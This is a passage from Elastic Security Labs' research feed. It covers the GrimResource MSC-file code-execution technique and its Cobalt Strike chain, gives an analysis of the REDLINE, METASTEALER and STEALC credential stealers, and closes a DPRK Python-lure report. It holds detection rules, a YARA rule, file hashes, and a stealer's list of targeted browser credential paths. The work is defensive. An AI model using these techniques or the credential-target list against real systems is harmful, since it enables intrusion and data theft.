</code></pre>
<p>The threat actor could also use this code execution capability to directly execute system binaries for various post-exploitation goals or actions. This rule looks for the direct execution of some local system tools that are not commonly used, especially via Python.</p>
<h2>Conclusion and Future Trends</h2>
<p>As we've explored throughout this analysis, the Democratic People's Republic of Korea (DPRK) has emerged as a formidable force in state-sponsored cyber operations. Combining social engineering with Python-based lures, their approach has proven successful in organizations with wide-ranging security maturity.</p>
<p>Their use of Python for initial access operations is a testament to the evolving nature of cyber threats. By leveraging this versatile and widely used programming language, threat actors have found a powerful tool that offers both simplicity in development and complexity in obfuscation. This dual nature of Python in their hands has proven to be a significant challenge for cybersecurity defenders.</p>
<p>Our deep dive into this recent sample has provided valuable insights into DPRK threat actors' current tactics, techniques, and procedures (TTPs). This case study exemplifies how social engineering and tailored Python scripts can work in tandem as highly effective initial access vectors.</p>
<p>As state-sponsored cyber operations advance, the insights gained from studying DPRK's methods become increasingly valuable. Cybersecurity professionals must remain alert to the dual threat of social engineering and sophisticated Python-based tools. Defending against these threats requires a multi-faceted approach, including robust technical controls, comprehensive staff training on social engineering tactics, and advanced threat detection capabilities focused on identifying suspicious Python activities.</p>
<p>As we move forward, fostering collaboration within the cybersecurity community and sharing insights and strategies to counter these sophisticated threats is crucial. We hope to stay ahead in this ongoing cyber chess game against state-sponsored actors like the DPRK through collective vigilance and adaptive defense mechanisms.</p>
<h3>Resources</h3>
<ul>
<li><a href="https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages">Fake recruiter coding tests target devs with malicious Python packages</a></li>
<li><a href="https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/">Threat Assessment: North Korean Threat Groups</a></li>
<li><a href="https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists">DeFied Expectations — Examining Web3 Heists | Google Cloud Blog</a></li>
<li><a href="https://www.elastic.co/kr/security-labs/elastic-catches-dprk-passing-out-kandykorn">Elastic catches DPRK passing out KANDYKORN — Elastic Security Labs</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/dprk-code-of-conduct/dprk-code-of-conduct.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[GrimResource - Microsoft Management Console for initial access and evasion]]></title>
            <link>https://www.elastic.co/kr/security-labs/grimresource</link>
            <guid>grimresource</guid>
            <pubDate>Sat, 22 Jun 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic researchers uncovered a new technique, GrimResource, which allows full code execution via specially crafted MSC files. It underscores a trend of well-resourced attackers favoring innovative initial access methods to evade defenses.]]></description>
            <content:encoded><![CDATA[<h2>Overview</h2>
<p>After Microsoft <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">disabled</a> office macros by default for internet-sourced documents, other infection vectors like JavaScript, MSI files, LNK objects, and ISOs have surged in popularity. However, these other techniques are scrutinized by defenders and have a high likelihood of detection. Mature attackers seek to leverage new and undisclosed infection vectors to gain access while evading defenses. A <a href="https://www.genians.co.kr/blog/threat_intelligence/facebook">recent example</a> involved DPRK actors using a new command execution technique in MSC files.</p>
<p>Elastic researchers have uncovered a new infection technique also leveraging MSC files, which we refer to as GrimResource. It allows attackers to gain full code execution in the context of <code>mmc.exe</code> after a user clicks on a specially crafted MSC file. A <a href="https://www.virustotal.com/gui/file/14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb">sample</a> leveraging GrimResource was first uploaded to VirusTotal on June 6th.</p>
<h2>Key takeaways</h2>
<ul>
<li>Elastic Security researchers uncovered a novel, in-the-wild code execution technique leveraging specially crafted MSC files referred to as GrimResource</li>
<li>GrimResource allows attackers to execute arbitrary code in Microsoft Management Console (<code>mmc.exe</code>) with minimal security warnings, ideal for gaining initial access and evading defenses</li>
<li>Elastic is providing analysis of the technique and detection guidance so the community can protect themselves</li>
</ul>
<h2>Analysis</h2>
<p>The key to the <a href="https://gist.github.com/joe-desimone/2b0bbee382c9bdfcac53f2349a379fa4">GrimResource</a> technique is using an old <a href="https://medium.com/@knownsec404team/from-http-domain-to-res-domain-xss-by-using-ie-adobes-pdf-activex-plugin-ba4f082c8199">XSS flaw</a> present in the <code>apds.dll</code> library. By adding a reference to the vulnerable APDS resource in the appropriate StringTable section of a crafted MSC file, attackers can execute arbitrary javascript in the context of <code>mmc.exe</code>. Attackers can combine this technique with <a href="https://github.com/tyranid/DotNetToJScript/tree/master">DotNetToJScript</a> to gain arbitrary code execution.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image17.png" alt="Reference to apds.dll redirect in StringTable" title="Reference to apds.dll redirect in StringTable" /></p>
<p>At the time of writing, the sample identified in the wild had 0 static detections in <a href="https://www.virustotal.com/gui/file/14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb/details">VirusTotal</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image1.png" alt="VirusTotal results" title="VirusTotal results" /></p>
<p>The sample begins with a transformNode obfuscation technique, which was observed in recent but unrelated <a href="https://twitter.com/decalage2/status/1773114380013461799">macro samples</a>. This aids in evading ActiveX security warnings.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image15.png" alt="transformNode evasion and obfuscation technique" title="transformNode evasion and obfuscation technique" /></p>
<p>This leads to an obfuscated embedded VBScript, as reconstructed below:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image8.png" alt="Obfuscated VBScript" title="Obfuscated VBScript" /></p>
<p>The VBScript sets the target payload in a series of environment variables and then leverages the <a href="https://github.com/tyranid/DotNetToJScript/blob/master/DotNetToJScript/Resources/vbs_template.txt">DotNetToJs</a> technique to execute an embedded .NET loader. We named this component PASTALOADER and may release additional analysis on this specific tool in the future.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image13.png" alt="Setting the target payload environment variables" title="Setting the target payload environment variables" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image2.png" alt="DotNetToJs loading technique" title="DotNetToJs loading technique" /></p>
<p>PASTALOADER retrieves the payload from environment variables set by the VBScript in the previous step:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image14.png" alt="PASTALOADER loader retrieving the payload" title="PASTALOADER loader retrieving the payload" /></p>
<p>Finally, PASTALOADER spawns a new instance of <code>dllhost.exe</code> and injects the payload into it. This is done in a deliberately stealthy manner using the <a href="https://github.com/ipSlav/DirtyCLR/tree/7b1280fee780413d43adbad9f4c2a9ce7ed9f29e">DirtyCLR</a> technique, function unhooking, and indirect syscalls. In this sample, the final payload is Cobalt Strike.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image7.png" alt="Payload injected into dllhost.exe" title="Payload injected into dllhost.exe" /></p>
<h2>Detections</h2>
<p>In this section, we will examine current behavior detections for this sample and present new, more precise ones aimed at the technique primitives.</p>
<h3>Suspicious Execution via Microsoft Common Console</h3>
<p>This detection was established prior to our discovery of this new execution technique. It was originally designed to identify a <a href="https://www.genians.co.kr/blog/threat_intelligence/facebook">different method</a> (which requires the user to click on the Taskpad after opening the MSC file) that exploits the same MSC file type to execute commands through the Console Taskpads command line attribute:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image12.png" alt="Command task MSC sample" title="Command task MSC sample" /></p>
<pre><code>process where event.action == &quot;start&quot; and
 process.parent.executable : &quot;?:\\Windows\\System32\\mmc.exe&quot; and  process.parent.args : &quot;*.msc&quot; and
 not process.parent.args : (&quot;?:\\Windows\\System32\\*.msc&quot;, &quot;?:\\Windows\\SysWOW64\\*.msc&quot;, &quot;?:\\Program files\\*.msc&quot;, &quot;?:\\Program Files (x86)\\*.msc&quot;) and
 not process.executable :
              (&quot;?:\\Windows\\System32\\mmc.exe&quot;,
               &quot;?:\\Windows\\System32\\wermgr.exe&quot;,
               &quot;?:\\Windows\\System32\\WerFault.exe&quot;,
               &quot;?:\\Windows\\SysWOW64\\mmc.exe&quot;,
               &quot;?:\\Program Files\\*.exe&quot;,
               &quot;?:\\Program Files (x86)\\*.exe&quot;,
               &quot;?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.EXE&quot;,
               &quot;?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe&quot;)
</code></pre>
<p>It triggers here because this sample opted to spawn and inject a sacrificial instance of dllhost.exe:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image10.png" alt="GrimResource detected" title="GrimResource detected" /></p>
<h3>.NET COM object created in non-standard Windows Script Interpreter</h3>
<p>The sample is using the <a href="https://github.com/tyranid/DotNetToJScript">DotNetToJScript</a> technique, which triggers another detection looking for RWX memory allocation from .NET on behalf of a Windows Script Host (WSH) script engine (Jscript or Vbscript):</p>
<p>The following EQL rule will detect execution via the .NET loader:</p>
<pre><code>api where
  not process.name : (&quot;cscript.exe&quot;, &quot;wscript.exe&quot;) and
  process.code_signature.trusted == true and
  process.code_signature.subject_name : &quot;Microsoft*&quot; and
  process.Ext.api.name == &quot;VirtualAlloc&quot; and
  process.Ext.api.parameters.allocation_type == &quot;RESERVE&quot; and 
  process.Ext.api.parameters.protection == &quot;RWX&quot; and
  process.thread.Ext.call_stack_summary : (
    /* .NET is allocating executable memory on behalf of a WSH script engine
     * Note - this covers both .NET 2 and .NET 4 framework variants */
    &quot;*|mscoree.dll|combase.dll|jscript.dll|*&quot;,
    &quot;*|mscoree.dll|combase.dll|vbscript.dll|*&quot;,
    &quot;*|mscoree.dll|combase.dll|jscript9.dll|*&quot;,
    &quot;*|mscoree.dll|combase.dll|chakra.dll|*&quot;
)
</code></pre>
<p>The following alert shows <code>mmc.exe</code> allocating RWX memory and the <code>process.thread.Ext.call_stack_summary </code>captures the origin of the allocation from <code>vbscript.dll</code> to <code>clr.dll</code> :</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image6.png" alt="mmc.exe allocating RWX memory" title="mmc.exe allocating RWX memory" /></p>
<h3>Script Execution via MMC Console File</h3>
<p>The two previous detections were triggered by specific implementation choices to weaponize the GrimResource method (DotNetToJS and spawning a child process). These detections can be bypassed by using more OPSEC-safe alternatives.</p>
<p>Other behaviors that might initially seem suspicious — such as <code>mmc.exe</code> loading <code>jscript.dll</code>, <code>vbscript.dll</code>, and <code>msxml3.dll</code> — can be clarified compared to benign data. We can see that, except for <code>vbscript.dll</code>, these WSH engines are typically loaded by <code>mmc.exe</code>:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image4.png" alt="Normal library load behaviors by mmc.exe" title="Normal library load behaviors by mmc.exe" /></p>
<p>The core aspect of this method involves using <a href="https://strontic.github.io/xcyclopedia/library/apds.dll-DF461ADCCD541185313F9439313D1EE1.html">apds.dll</a> to execute Jscript via XSS. This behavior is evident in the mmc.exe Procmon output as a <code>CreateFile</code> operation (<code>apds.dll</code> is not loaded as a library):</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image9.png" alt="apds.dll being invoked in the MSC StringTable" title="apds.dll being invoked in the MSC StringTable" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image16.png" alt="Example of the successful execution of GrimResource" title="Example of the successful execution of GrimResource" /></p>
<p>We added the following detection using Elastic Defend file open events where the target file is <code>apds.dll</code> and the <code>process.name</code> is <code>mmc.exe</code>:</p>
<p>The following EQL rule will detect the execution of a script from the MMC console:</p>
<pre><code>sequence by process.entity_id with maxspan=1m
 [process where event.action == &quot;start&quot; and
  process.executable : &quot;?:\\Windows\\System32\\mmc.exe&quot; and process.args : &quot;*.msc&quot;]
 [file where event.action == &quot;open&quot; and file.path : &quot;?:\\Windows\\System32\\apds.dll&quot;]
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image5.png" alt="Timeline showing the script execution with the MMC console" title="Timeline showing the script execution with the MMC console" /></p>
<h3>Windows Script Execution via MMC Console File</h3>
<p>Another detection and forensic artifact is the creation of a temporary HTML file in the INetCache folder, named <code>redirect[*] </code>as a result of the APDS <a href="https://owasp.org/www-community/attacks/xss/">XSS</a> redirection:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image11.png" alt="Contents of redirect.html" title="Contents of redirect.html" /></p>
<p>The following EQL correlation can be used to detect this behavior while also capturing the msc file path:</p>
<pre><code>sequence by process.entity_id with maxspan=1m
 [process where event.action == &quot;start&quot; and
  process.executable : &quot;?:\\Windows\\System32\\mmc.exe&quot; and process.args : &quot;*.msc&quot;]
 [file where event.action in (&quot;creation&quot;, &quot;overwrite&quot;) and
  process.executable :  &quot;?:\\Windows\\System32\\mmc.exe&quot; and file.name : &quot;redirect[?]&quot; and 
  file.path : &quot;?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*\\redirect[?]&quot;]
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/grimresource/image3.png" alt="Timeline detecting redirect.html" title="Timeline detecting redirect.html" /></p>
<p>Alongside the provided behavior rules, the following YARA rule can be used to detect similar files:</p>
<pre><code>rule Windows_GrimResource_MMC {
    meta:
        author = &quot;Elastic Security&quot;
        reference = &quot;https://www.elastic.co/kr/security-labs/GrimResource&quot;
        reference_sample = &quot;14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb&quot;
        arch_context = &quot;x86&quot;
        scan_context = &quot;file, memory&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;
    strings:
        $xml = &quot;&lt;?xml&quot;
        $a = &quot;MMC_ConsoleFile&quot; 
        $b1 = &quot;apds.dll&quot; 
        $b2 = &quot;res://&quot;
        $b3 = &quot;javascript:eval(&quot;
        $b4 = &quot;.loadXML(&quot;
    condition:
       $xml at 0 and $a and 2 of ($b*)
}
</code></pre>
<h2>Conclusion</h2>
<p>Attackers have developed a new technique to execute arbitrary code in Microsoft Management Console using crafted MSC files. Elastic’s existing out of the box coverage shows our defense-in-depth approach is effective even against novel threats like this. Defenders should leverage our detection guidance to protect themselves and their customers from this technique before it proliferates into commodity threat groups.</p>
<h2>Observables</h2>
<p>All observables are also <a href="https://github.com/elastic/labs-releases/tree/main/indicators/grimresource">available for download</a> in both ECS and STIX formats.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb</code></td>
<td>SHA-256</td>
<td><code>sccm-updater.msc</code></td>
<td>Abused MSC file</td>
</tr>
<tr>
<td><code>4cb575bc114d39f8f1e66d6e7c453987639289a28cd83a7d802744cd99087fd7</code></td>
<td>SHA-256</td>
<td>N/A</td>
<td>PASTALOADER</td>
</tr>
<tr>
<td><code>c1bba723f79282dceed4b8c40123c72a5dfcf4e3ff7dd48db8cb6c8772b60b88</code></td>
<td>SHA-256</td>
<td>N/A</td>
<td>Cobalt Strike payload</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/grimresource/grimresource.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Globally distributed stealers]]></title>
            <link>https://www.elastic.co/kr/security-labs/globally-distributed-stealers</link>
            <guid>globally-distributed-stealers</guid>
            <pubDate>Fri, 24 May 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[This article describes our analysis of the top malware stealer families, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>This article describes our analysis of the top Windows malware stealer families that we’ve identified, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly. Additionally, we’ll examine our unique telemetry to offer insights about the current volume associated with these prevalent malware stealer families.</p>
<p>Mitigating this kind of covert threat requires a multi-faceted approach consistent with defense-in-depth principles. We will likewise describe various techniques for detection, including the use of ES|QL hunting queries and Yara rules which empower organizations to proactively defend against them.</p>
<h2>Telemetry overview</h2>
<p>The telemetry data showcased in this article encompasses insights gathered from both internal and external sources, providing a comprehensive understanding of threat activity.</p>
<p>Notably, between 2022 and 2023, REDLINE emerged as the most prevalent malware in the wild, closely trailed by AGENT TESLA, VIDAR, and then STEALC. It's worth highlighting that this period marked the debut of STEALC in the wild, indicative of evolving threat landscapes.</p>
<p>In the subsequent time frame, spanning from 2023 to 2024, there was a notable spike in AGENT TESLA activity, followed by REDLINE, STEALC, and VIDAR, reflecting shifting trends in malware prevalence and distribution.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image6.png" alt="Telemetry data May 2023 - May 2024" />
Elastic telemetry data May 2023 - May 2024</p>
<p>Despite fluctuations in general malware prevalence, AGENT TESLA has consistently maintained its position as a prominent threat. This enduring dominance can be attributed to several factors, including its relatively low price point and enticing capabilities, which appeal to a wide range of threat actors, particularly those operating with limited resources or expertise.</p>
<p>A noteworthy observation is that due to METASTEALER’s foundation on REDLINE, certain METASTEALER samples may inadvertently fall under the categorization of REDLINE.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image5.png" alt="METASTEALER triggering REDLINE signatures" /></p>
<h2>Top stealers overview</h2>
<h3>REDLINE (REDLINE STEALER)</h3>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer">REDLINE</a> made its debut in the threat landscape in 2020, leveraging email as its initial distribution method; it operates on a Malware-as-a-Service (MaaS) model, making it accessible to a wide range of threat actors. Its affordability and availability in underground forums have contributed to its popularity among cybercriminals.</p>
<p>The latest operations of REDLINE involve multiple infection vectors, including email phishing, malicious websites hosting seemingly legitimate applications, and social engineering tactics. Our researchers analyzed a recent sample <a href="https://x.com/vxunderground/status/1634713832974172167">reported by vx-underground</a> indicating a campaign targeting engineers on the freelancing platform Fiverr. This tactic poses significant risks, potentially leading to the compromise of companies through unsuspecting freelancers.</p>
<p>REDLINE is built on the .NET framework, which provides it with portability and ease of implementation. It has a variety of functionalities aimed at gathering vital system information and extracting sensitive data:</p>
<ul>
<li>System information acquisition:</li>
<li>Collects essential system details such as UserName, Language, and Time Zone</li>
<li>Retrieves hardware specifics including processor and graphic card information</li>
<li>Monitors running processes and identifies installed browsers</li>
<li>Data extraction:</li>
<li>Targets browser data repositories, extracting saved passwords, credit card details, cookies, and auto-fill entries</li>
<li>Procures VPN login credentials for unauthorized access</li>
<li>Logs user credentials and chat histories from platforms like Discord and Telegram</li>
<li>Identifies and steals cryptocurrency wallets, potentially compromising valuable digital assets:</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image13.png" alt="REDLINE collecting system information" /></p>
<p>REDLINE uses a string obfuscation technique to hinder analysis and evade detection based on strings like yara by dynamically constructing the strings at runtime from an array of characters:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image4.png" alt="REDLINE string obfuscation" /></p>
<p>Its configuration is structured within a static class, containing four public fields:  <code>IP</code>,  <code>ID</code>, <code>Message</code>, and an XOR Key. The <code>IP</code> and <code>ID</code> fields contents are encrypted using XOR encryption and then encoded in base64 as depicted below:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image3.png" alt="REDLINE's configuration" /></p>
<h3>METASTEALER</h3>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a> emerged in 2022, initially advertised as a derivative of REDLINE, with additional features; our malware analysts recently encountered a sample of METASTEALER within a campaign masquerading as Roblox, previously <a href="https://x.com/CERT_OPL/status/1767191320790024484">reported by CERT as Orange Polska</a>.</p>
<p>METASTEALER is primarily developed using the .NET framework, facilitating its compatibility with Windows environments and enabling ease of implementation. Certain versions employ obfuscation methods, including obscuring the control flow of the malware and making it more challenging to detect or analyze.</p>
<p>This METASTEALER sample utilizes the <a href="https://www.secureteam.net/">AGILE.NET</a> obfuscator, specifically its proxy call obfuscation method. This technique is used to conceal the direct invocation of an original function by introducing an additional layer of abstraction. Instead of directly invoking the function, AGILE.NET generates a proxy method that then invokes the original function. This added complexity makes it more challenging for code analysts to discern the sequence of actions.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image9.png" alt="METASTEALER's obfuscation" /></p>
<p>Looking at the code above, we can see the method <code>Delegate11.smethod_0</code> calls a <code>Delegate11.delegate11_0</code> which is not initialized, introducing ambiguity during static analysis as analysts cannot determine which method will actually be executed.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image14.png" alt="METASTEALER initializing the delegate" /></p>
<p>At runtime, the malware will initialize the delegate. by calling the method <code>Class4.smethod_13</code> in the constructor of <code>Delegate11</code> class, this method constructs a dictionary of token values, where each key represents the token value of a delegate (e.g., <code>0x040002DE</code>), and its corresponding value represents the token of the original method to be executed. This dictionary is constructed from a sequence of bytes stored in the binary, enabling dynamic resolution of method invocations during runtime.</p>
<p>Following this, it will generate a dynamic method for the delegate and execute it using the <code>smethod_0</code> function.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image8.png" alt="METASTEALER generating delegates dynamic method" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image7.png" alt="METASTEALER checking for debuggers" /></p>
<p>All the important strings in the configuration, like the C2 IP address and port, are encrypted. The malware has a class called <code>Strings</code> that is called at the start of execution to decrypt all the strings at once, a process involving a combination of Base64 encoding, XOR decryption, and AES CBC decryption.</p>
<p>Initially, the AES parameters, such as the <code>AES KEY</code> and <code>AES IV</code>, undergo decryption. In the provided example, the <code>AES KEY</code> and <code>AES IV</code> are first base64 decoded. Subsequently, they are subjected to XOR decryption using a predetermined XOR key, followed by two consecutive base64 decoding steps.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image1.png" alt="Encrypted AES parameters" /></p>
<p>The Strings class holds byte arrays that are decrypted using AES CBC after being reversed, and then appended to the <strong>Strings.Array</strong> list. Later, when the malware requires specific strings, it accesses them by indexing this list. For example <strong>String.get(6)</strong>.</p>
<h3>STEALC</h3>
<p>A recent major player in the stealer space <a href="https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/">discovered</a> by Sekoia in February 2023 is the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> family. This malware was first advertised in an underground forum in January 2023 where the developer mentioned a major dependency on existing families such as VIDAR, RACOON, and REDLINE. Since this timeframe, our team has observed new STEALC samples daily showing signs of popularity and adoption by cybercriminals.</p>
<p>STEALC is implemented in C and includes features like dynamic imports, string obfuscation, and various anti-analysis checks prior to activating its data-stealing capabilities. In order to protect the binary and its core features, STEALC encrypts its strings using a combination of Base64 + RC4 using a hardcoded key embedded in each sample.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image10.png" alt="Embedded RC4 key and encrypted strings within STEALC" /></p>
<p>There are 6 separate functions used for anti-analysis/anti-sandbox checks within STEALC. Based on the number of processors, STEALC will terminate itself if the active processor count is less than 2.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image2.png" alt="Retrieve number of processors" /></p>
<p>STEALC performs a sandbox/emulation test using a more obscure Windows API (<code>VirtualAllocExNuma</code>) to allocate a large amount of memory. If the API is not implemented, the process will terminate.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image15.png" alt="API check using VirtualAllocExNuma" /></p>
<p>The malware performs another sandbox check by reading values from <code>GlobalMemoryStatusEx</code>. After a byte shift against the collected attributes of the physical memory, if the value is less than <code>0x457</code> the sample will terminate.</p>
<p>The malware will stop execution if the language identifier matches one of the following LangIDs:</p>
<ul>
<li>Russian_Russia  (<code>0x419</code>)</li>
<li>Ukrainian_Ukraine  (<code>0x422</code>)</li>
<li>Belarusian_Belarus (<code>0x423</code>)</li>
<li>Kazakh_Kazakhstan (<code>0x43f</code>)</li>
<li>Uzbek_Latin__Uzbekistan (<code>0x443</code>)</li>
</ul>
<p>STEALC also incorporates the Microsoft Defender emulation check, we have observed this in many stealers such as seen in <a href="https://www.elastic.co/kr/security-labs/elastic-security-labs-discovers-lobshot-malware">LOBSHOT</a>. STEALC will terminate if the following hard-coded values match inside Microsoft Defender’s emulation layer with the username <code>JohnDoe</code> and computer name of <code>HAL9TH</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/globally-distributed-stealers/image12.png" alt="Microsoft Defender emulation check using computer name and username" /></p>
<p>One of the more impactful anti-analysis checks that comes with STEALC is an expiration date. This unique value gets placed into the malware’s config to ensure that the stealer won’t execute after a specific date set by the builder. This allows the malware to keep a lower profile by using shorter turnarounds in campaigns and limiting the execution in sandbox environments.</p>
<h4>STEALC - Execution flow</h4>
<p>After its initial execution, STEALC will send the initial hardware ID of the machine and receive a configuration from the C2 server:</p>
<pre><code>f960cc969e79d7b100652712b439978f789705156b5a554db3acca13cb298050efa268fb|done|tested.file|1|1|1|1|1|1|1|1|
</code></pre>
<p>After this request, it will send multiple requests to receive an updated list of targeted browsers and targeted browser extensions. Below is an example of the browser configuration, this contains the targeted directory path where the sensitive data is stored.</p>
<pre><code>Google Chrome|\Google\Chrome\User Data|chrome|chrome.exe|Google Chrome Canary|\Google\Chrome SxS\User Data|chrome|chrome.exe|Chromium|\Chromium\User Data|chrome|chrome.exe|Amigo|\Amigo\User Data|chrome|0|Torch|\Torch\User Data|chrome|0|Vivaldi|\Vivaldi\User Data|chrome|vivaldi.exe|Comodo Dragon|\Comodo\Dragon\User Data|chrome|0|EpicPrivacyBrowser|\Epic Privacy Browser\User Data|chrome|0|CocCoc|\CocCoc\Browser\User Data|chrome|0|Brave|\BraveSoftware\Brave-Browser\User Data|chrome|brave.exe|Cent Browser|\CentBrowser\User Data|chrome|0|7Star|\7Star\7Star\User Data|chrome|0|Chedot Browser|\Chedot\User Data|chrome|0|Microsoft Edge|\Microsoft\Edge\User Data|chrome|msedge.exe|360 Browser|\360Browser\Browser\User Data|chrome|0|QQBrowser|\Tencent\QQBrowser\User Data|chrome|0|CryptoTab|\CryptoTab Browser\User Data|chrome|browser.exe|Opera Stable|\Opera Software|opera|opera.exe|Opera GX Stable|\Opera Software|opera|opera.exe|Mozilla Firefox|\Mozilla\Firefox\Profiles|firefox|0|Pale Moon|\Moonchild Productions\Pale Moon\Profiles|firefox|0|Opera Crypto Stable|\Opera Software|opera|opera.exe|Thunderbird|\Thunderbird\Profiles|firefox|0|
</code></pre>
<p>At this point, STEALC will then collect a broad range of victim information. This information is then formatted, Base64 encoded, and then sent to the C2 server over POST requests using form data fields.</p>
<ul>
<li>Hardware ID</li>
<li>Windows OS product info</li>
<li>Processor / RAM information</li>
<li>Username / computername</li>
<li>Local system time / time zone / locale of victim</li>
<li>Keyboard layout</li>
<li>Battery check (used to determine if laptop or not)</li>
<li>Desktop resolution, display info</li>
<li>Installed programs, running processes</li>
</ul>
<p>For the stealing component, STEALC leverages the received configurations in order to collect various valuable information including:</p>
<ul>
<li>Browser cookies</li>
<li>Login data</li>
<li>Web data</li>
<li>History</li>
<li>Cryptocurrency wallets</li>
</ul>
<p>STEALC also offers other various configuration options including:</p>
<ul>
<li>Telegram data</li>
<li>Discord</li>
<li>Tox</li>
<li>Pidgin</li>
<li>Steam</li>
<li>Outlook emails</li>
</ul>
<table>
<thead>
<tr>
<th></th>
<th>RedLine Stealer</th>
<th>Meta Stealer</th>
<th>Stealc</th>
</tr>
</thead>
<tbody>
<tr>
<td>First time seen in the wild</td>
<td>2020</td>
<td>2022</td>
<td>2023</td>
</tr>
<tr>
<td>Source Language</td>
<td>C#</td>
<td>C#</td>
<td>C</td>
</tr>
<tr>
<td>Average size (unpacked)</td>
<td>253 KB</td>
<td>278 KB</td>
<td>107 KB</td>
</tr>
<tr>
<td>String obfuscation? Algo?</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes (custom RC4 + base64)</td>
</tr>
</tbody>
</table>
<h2>Detection</h2>
<p>To fully leverage detection capabilities listed below for these threats with Elastic Security, it is essential to integrate <a href="https://docs.elastic.co/en/integrations/endpoint">Elastic Defend</a> and <a href="https://docs.elastic.co/en/integrations/windows">Windows</a>.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_an_unsigned_binary.toml">Connection to WebService by an Unsigned Binary</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_suspicious_dns_query_from_mounted_virtual_disk.toml">Suspicious DNS Query from Mounted Virtual Disk</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_suspicious_access_to_web_browser_credential_stores.toml">Suspicious Access to Web Browser Credential Stores</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unsigned_process.toml">Web Browser Credential Access via Unsigned Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_access_to_browser_credentials_from_suspicious_memory.toml">Access to Browser Credentials from Suspicious Memory</a></li>
